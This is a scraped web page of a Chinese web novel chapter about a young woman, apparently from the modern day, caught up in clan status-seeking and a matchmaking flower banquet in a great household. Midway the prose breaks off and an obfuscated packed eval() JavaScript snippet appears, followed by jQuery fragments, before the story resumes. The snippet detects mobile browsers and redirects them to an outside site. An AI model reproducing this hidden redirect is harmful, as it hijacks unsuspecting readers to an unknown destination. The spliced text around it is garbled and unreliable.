默认冷灰
24号文字
方正启体

207. 一个男人的成功七

作者:找个地方晒本书字数:K更新时间:
    暮色四合时,赵元青忧忧愁愁地从小屋中被柳梦喊出来,柳梦言笑晏晏拉着她的手,“你这孩子,真是不知礼数,何时认了个姐姐也不让我知道,倒教我怠慢了!”


    她心想别说你了,我自己也不知道啊。


    一路被柳梦拉着到了堂屋。


    屋内正站着一名约莫十七八岁的年纪,容貌清丽,眉眼间带着一股书卷气,笑容温婉得体的女子。


    柳梦还在热情洋溢地介绍:“阿青,快叫人呀!”


    她茫然看向柳梦:“唉?我不是叫子涵吗?”


    柳梦脸一僵,又扬起笑脸。“你这孩子,说什么胡话!”说完又冲那女子笑道:“砚圆姐姐莫见怪!这孩子小时候发高热,伤了脑袋,时好时坏的,说话总没个准头,都怪我这个做母亲的没照料好……”


    砚圆哪里会见怪,和柳梦熟络寒暄起来,没一会,她又被砚圆领回了自己屋子。


    赵元青一脸震惊。


    “给魏青姑娘请安,我家公子嘱托我来请姑娘的手艺,青姑娘可有做好?若有我能帮上忙之处,只管吩咐。”


    “你……你怎么做到的啊?她就给你放进来了?”


    “奴婢砚圆,给魏青姑娘请安。”她微微一福,声音平和继续说道:“前日墨白带回的草编小物,小公子爱不释手,只是草茎易散,难经久玩。公子心细,特意嘱托奴婢来请姑娘的手艺,不知姑娘可已做好?若有奴婢能帮上忙之处,姑娘只管吩咐。”


    “你家公子是?”


    “魏氏嫡长房,讳珩公子。”


    赵元青不认识,点点头转头跑床上把东西拿给她交给她玩法。


    砚圆千恩万谢,又嘱咐她:“我家公子不欲让外人晓得小公子一事,你莫要说漏,日后便是我来,已经和青姑娘的母亲说好,咱们有些私交,若你母亲盘问,只说浆洗时认识的,我年长你些,只叫我砚圆便是。”


    她点点头。


    二人都公事公办,砚圆很快离开。


    果然,没一会柳梦上了门,仔仔细细盘问后她才告诉赵元青,魏珩便是那位住在澹圃的公子,这个名字所代表的,是这座庞大魏府真正的核心与未来,是主家权力金字塔最顶端的存在之一。


    他的一句话足以决定无数旁支子弟乃至族中管事的前程命运。


    他是魏氏年轻一代无可争议的领军人物,是无数人仰望和攀附的对象。


    最重要的是,他官任刑部尚书兼太子少师,如今因去年母丧在家丁忧。


    因此柳梦才能舍下脸皮喊一声砚圆姐姐。


    只要能打通这层关系,那魏昭的一切都有了。


    赵元青听完有点头疼,“我感觉你不像历史老师。今日我问魏昭,他说士农工商,各安其分,各守其道便是成功,你们不能换个方法吗?”


    柳梦冷冷一笑,“正因为我读史,懂史,才知道这是最快的方式。魏珩守孝期间不见外客,他正经祖母若想见他也要寻人递话去,通过贴身丫鬟递话是唯一突破口。”


    “我觉得这是两回事。”


    “两回事?史书煌煌万卷,写的是什么?写的是王侯将相!写的是权力更迭!写的是成王败寇!什么各安其分?那不过是上位者用来安抚下民、维系秩序的漂亮话!你看那汉高祖刘邦,亭长出身,算什么安分?那明太祖朱元璋,乞丐和尚,又守的什么道?这样的封建王朝谁人不钻营?不钻营哪里来的世家?”


    “你说的对。”赵元青叹了口气,“但你和我都不是封建王朝的人。咱们不是这个时代的人……算了,我听你的吧,你说怎么做。”


    “可我们现在身处在这里!”柳梦声音有些失控,“你可以不钻营,成日里只忙着自己的事,去女学读读书,我呢?家中吃穿用度,哪里不是我来弄?你当正头娘子那么好当?魏昭他所有的清高梦想,他治国平天下的狗屁志向,靠什么撑着?靠的不就是我这个内当家替他扒拉出那点可怜的银钱和体面吗?!所有文人的梦想都是这个!”


    她这话……赵元青没吱声。她其实想问问,她那半路出家的爹,算士吗?不算吧?虽然说读书人都有这一个梦想,但真没必要那么真情实感。


    “我也没说什么,你先别激动。我不过是浆洗时碰见的她,她向我要些草编,仅此而已。”


    “不管是不是仅此而已,这线……搭上了!阿青,你听着,这是天赐良机!以后……以后多讨好她,和她熟稔后便让她邀请你去魏珩的园子处!记住了吗?”


    她又叹了口气,也不知道该怎么安慰柳梦,最终点点头。


    “还有!收起你那些呆头呆脑、不合时宜的话!”


    赵元青忧愁的不行,看向她主动拉着她的手,“你别怕,你冷静想想,没事的。”


    但柳梦甩开了她的手。


    “做好你该做的事。”她提着裙摆离开了。


    柳梦一走,她又被沈钰叫过去盘问一遍,沈钰态度愈发温和,这种温和更像是一种胸有成竹的把握,她只点点头,说旁的事不重要,重要的还是赏花宴。


    又上了两天学,这两日倒平稳,赏花宴当日,赵元青束手束脚地穿着新衣裳去了赏花宴。


    赏花宴设在府中西园。时值夏末秋初,园中金桂飘香,菊英初绽,各色时令花卉争奇斗艳。水榭歌台,曲水流觞,处处衣香鬓影,笑语喧阗。


    世家夫人小姐们云鬓高耸,珠翠环绕,锦衣华服在阳光下流光溢彩,空气中弥漫着浓郁的脂粉香和花果甜香。


    她踟蹰在一旁,最终还是不好意思过去,谁料魏明兰走了过来,“远远就瞧见你在这儿杵着,怎么今日倒像是做了贼似的心虚!”


    她今日打扮得格外娇艳,一身鹅黄缕金百蝶穿花云缎裙,衬得她肤光胜雪,发间一支赤金累丝镶红宝的凤钗熠熠生辉。


    她亲昵地挽住赵元青的胳膊,又朝正看过来的沈钰大方一笑,声音清脆悦耳:“这位……是魏庆那一支的吧?瞧着面善。”她巧妙地用魏庆这个旁支里还算有点名头的族老名号,给沈钰递了个台阶。


    赵元青也不晓得魏庆是哪个,但沈钰脸上的笑容瞬间加深,“哎!正是呢,难为明兰小姐还记得我们这一支。”


    两人你一言我一语地寒暄几句,一位被几位贵妇簇拥着、气质雍容华贵的妇人走了过来,沈钰立刻微微躬身示意,“魏沈氏给福安县主请安。”


    魏明兰莫名笑了一下,拉着还在状况外的赵元青离开。


    她们是和那些小姐们坐在一起,这里还有些讲究,这种赏花宴,女子们多半都待在透明白色的帷帐内吟诗,男子们则去高处阁楼,这样既守了男女大防,又能远远看到彼此,求个不是盲婚哑嫁。


    这宴会倒也不算光给魏明云办,家中其他公子小姐若有适龄的,也可以一并相看,总之是谁家发了帖子,谁家能提前知道些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970604|191876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    更详细的信息。


    魏明兰最轻松恣意,她是不必看的,这里的公子们也没有能配得上她的,因此只寻了处角落拉着她坐下,让丫鬟们奉上茶水果子闲谈。


    这对她来说只是练习,毕竟回了京城也要面临这样的情况,那里的贵女更多。


    赵元青还惦记魏明兰那莫名一笑,因此一落座便开口问她。


    她恨铁不成钢地嗔她一眼,“我先问问你,我的东西呢?”


    “还得再等两日,最近有些忙。”全怪柳梦,没事老找她聊天训她,中间她还得帮那个什么小公子做东西,完全没什么时间。


    魏明兰看着她那副“我很努力了但实在没办法”的呆样,又是好气又是好笑。


    她凑近了些,声音压低:“东西晚些不打紧。我问你,方才我替你那位祖母引荐,你可知为何?”


    赵元青摇摇头,但很快,她又点了点头。


    这让魏明兰有些惊讶,忍不住狐疑问她:“你晓得?”


    “还……还不确定。应该是你母亲会用魏昭吧?”


    魏明兰笑了笑,“你还不算傻。你直白对我,我也直白待你,便同你直说,你父亲做事不差,但再往深了我就不便和你说了。”


    她这话已经是暗示,多好的关系,有些话也不能随便开口。


    赵元青点点头表示知道了,又好奇问她:“女学里没讲这个,你……你见多识广是如何做到的?”


    魏明兰这回实在忍不住,用帕子遮了口笑了好一阵才挪开,“唉,真是……”


    “女学不过教些哄人的玩意,真信了就成傻子了,各家姊妹真正安身立命、在这深宅大院乃至以后嫁入夫家能站稳脚跟的本事,大多都是母亲手把手、耳提面命传授的。”


    她隐晦指了指魏明玉开口继续道:“你瞧明玉,她父亲是通判,在地方上已是实权人物。她母亲传授她的,是如何做一个合格的官家夫人。如何筹备规格不同的宴席,如何从席面安排、宾客座次、乃至一道菜的寓意里,不动声色地传递信息,结交该结交的,疏远该疏远的。如何在上峰夫人面前既不失礼数又不过分谄媚,如何在下属女眷面前保持威严又不失亲和。如何从夫人口中套出有用的消息,又如何将自己的诉求婉转地传递出去……这些,才是她需要学的!女红不过是陶冶,自有绣娘去做。”


    “再看明霞,她父亲在族中掌管族田庶务。她母亲教她的便是如何打理田庄、计算产出、统筹收支、管束佃户、应对天灾人祸、以及与族中其他管事乃至官府胥吏打交道。将来她嫁的多半也是类似的人家,或是家族中需要管理庶务的子弟。她学的,是看账本、盘库房、定章程、识人心,是要能撑起一个家的当家主母本事。”


    “至于明云姐姐……””魏明兰的声音里带上了一丝不易察觉的叹息和冷漠,“她家的情况你也知道。她母亲教她的,恐怕就是如何在门第相当或略高的家族中,寻找一个合适的对象。但以她的情况,最多也就是个正头夫人。可能是族中先生,或者考上的秀才童生,若是秀才,年纪估计就……”


    “所以你看,阿青,我们学的,从来都不是什么三从四德、女戒女训的空泛道理。我们学的,是如何在这张由家族、利益、权力编织成的巨网里,找到自己的位置,如何利用规则,甚至……如何制定规则,让自己活得更舒服、更有分量。”


    魏明兰骄矜一笑,明灿非常。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)